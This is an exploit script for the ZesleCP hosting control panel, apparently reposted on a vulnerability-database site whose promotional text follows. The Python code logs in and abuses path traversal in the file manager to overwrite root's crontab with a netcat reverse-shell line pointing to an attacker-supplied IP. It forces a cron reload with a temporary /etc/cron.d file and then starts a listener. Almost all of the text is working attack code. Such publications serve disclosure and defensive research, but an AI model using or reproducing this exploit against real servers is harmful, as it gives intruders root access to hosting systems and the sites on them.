# Exploit Title: ZesleCP v3.1.20 - Privilege Escalation
# Exploit Author: Ahmet Ümit BAYRAM
# Date: 09.11.2024
# Vendor Homepage: https://zeslecp.com
# Tested on: Ubuntu 20.04
# Privilege Escalation Exploit for ZesleCP Hosting Control Panel
# This exploit leverages a path traversal vulnerability in the file editing
functionality of the ZesleCP file manager.
# The exploit utilizes this vulnerability to modify the root user's cron
file, creating a cron job that runs with root privileges.
# Although edited with user-level privileges, files manipulated through the
'file_path' parameter retain their original ownership.
# This allows unauthorized editing of root-owned files, such as the cron
file located in `/var/spool/cron/crontabs/root`.
# The exploit places a reverse shell payload in this file to establish a
reverse shell connection to the attacker's specified IP and port.
# Since the cron service requires a restart to run the new job, the exploit
creates and then deletes a temporary cron job in the `/etc/cron.d`
directory.
# This process triggers a cron service refresh, enabling the reverse shell
command to execute successfully.
import requests
from requests.sessions import Session
import subprocess
import urllib3
import time
# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Get user input
host = input("Enter ZesleCP IP address: ")
zeslecp_port = input("Enter ZesleCP port (default 2087): ")
zeslecp_port = 2087 if zeslecp_port == "" else int(zeslecp_port)
username = input("Enter username: ")
password = input("Enter password: ")
reverse_ip = input("Enter your reverse shell IP address: ")
reverse_port = int(input("Enter your reverse shell port: "))
# URL settings
login_url = f"https://{host}:{zeslecp_port}/login"
save_file_url = f"https://{host}:{zeslecp_port}/file-manager/save-file"
trash_file_url = f"https://{host}:{zeslecp_port}/file-manager/trash"
# Start session
session = Session()
session.verify = False # Ignore SSL warnings
def login():
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*"
}
data = {
"username": username,
"password": password,
"locale": ""
}
response = session.post(login_url, headers=headers, json=data)
if response.status_code == 200 and "zeslecp_session" in response.cookies:
print("[+] Login successful.")
session.cookies.update(response.cookies)
return True
else:
print("[-] Login failed.")
return False
def create_temp_cron_file():
# Create a temporary cron file to trigger cron refresh
temp_cron_payload = (
"# Temporary cron file for triggering reload\n"
"* * * * * echo 'temp' > /dev/null\n"
)
data = {
"file_path": "../../../../../../etc/cron.d/temp_trigger",
"data": temp_cron_payload
}
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Referer": f"https://{host}:{zeslecp_port}/file-manager",
}
response = session.post(save_file_url, headers=headers, json=data)
if response.status_code == 200:
print("[+] Temporary cron file created successfully.")
return True
else:
print("[-] Failed to create temporary cron file.")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
return False
def delete_temp_cron_file():
# Delete the temporary cron file
data = {
"files": [{"path": "../../../../../../etc/cron.d/temp_trigger", "type":
"file"}]
}
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Referer": f"https://{host}:{zeslecp_port}/file-manager",
}
response = session.post(trash_file_url, headers=headers, json=data)
if response.status_code == 200:
print("[+] Temporary cron file deleted successfully.")
return True
else:
print("[-] Failed to delete temporary cron file.")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
return False
def modify_cron_for_reverse_shell():
cron_payload = (
"# DO NOT EDIT THIS FILE - edit the master and reinstall.\n"
"MAILTO=\"\"\n"
f"* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {
reverse_ip} {reverse_port} >/tmp/f\n\n"
)
data = {
"file_path": "../../../../../../var/spool/cron/crontabs/root",
"data": cron_payload
}
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Referer": f"https://{host}:{zeslecp_port}/file-manager",
}
response = session.post(save_file_url, headers=headers, json=data)
if response.status_code == 200:
print("[+] Cron job with reverse shell added successfully.")
return True
else:
print("[-] Failed to modify cron file.")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
return False
# Start listener with verbose output
def start_listener():
print(f"[+] Starting reverse shell listener on port {reverse_port}...")
listener_command = f"nc -vv -l -p {reverse_port} -n"
subprocess.run(listener_command, shell=True)
def main():
if not login():
exit(1)
if modify_cron_for_reverse_shell():
if create_temp_cron_file():
time.sleep(2) # Wait 2 seconds after creating the file
if delete_temp_cron_file():
print("[+] Cron should now be refreshed, and reverse shell job active.")
start_listener() # Start listener after cron reload is triggered
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation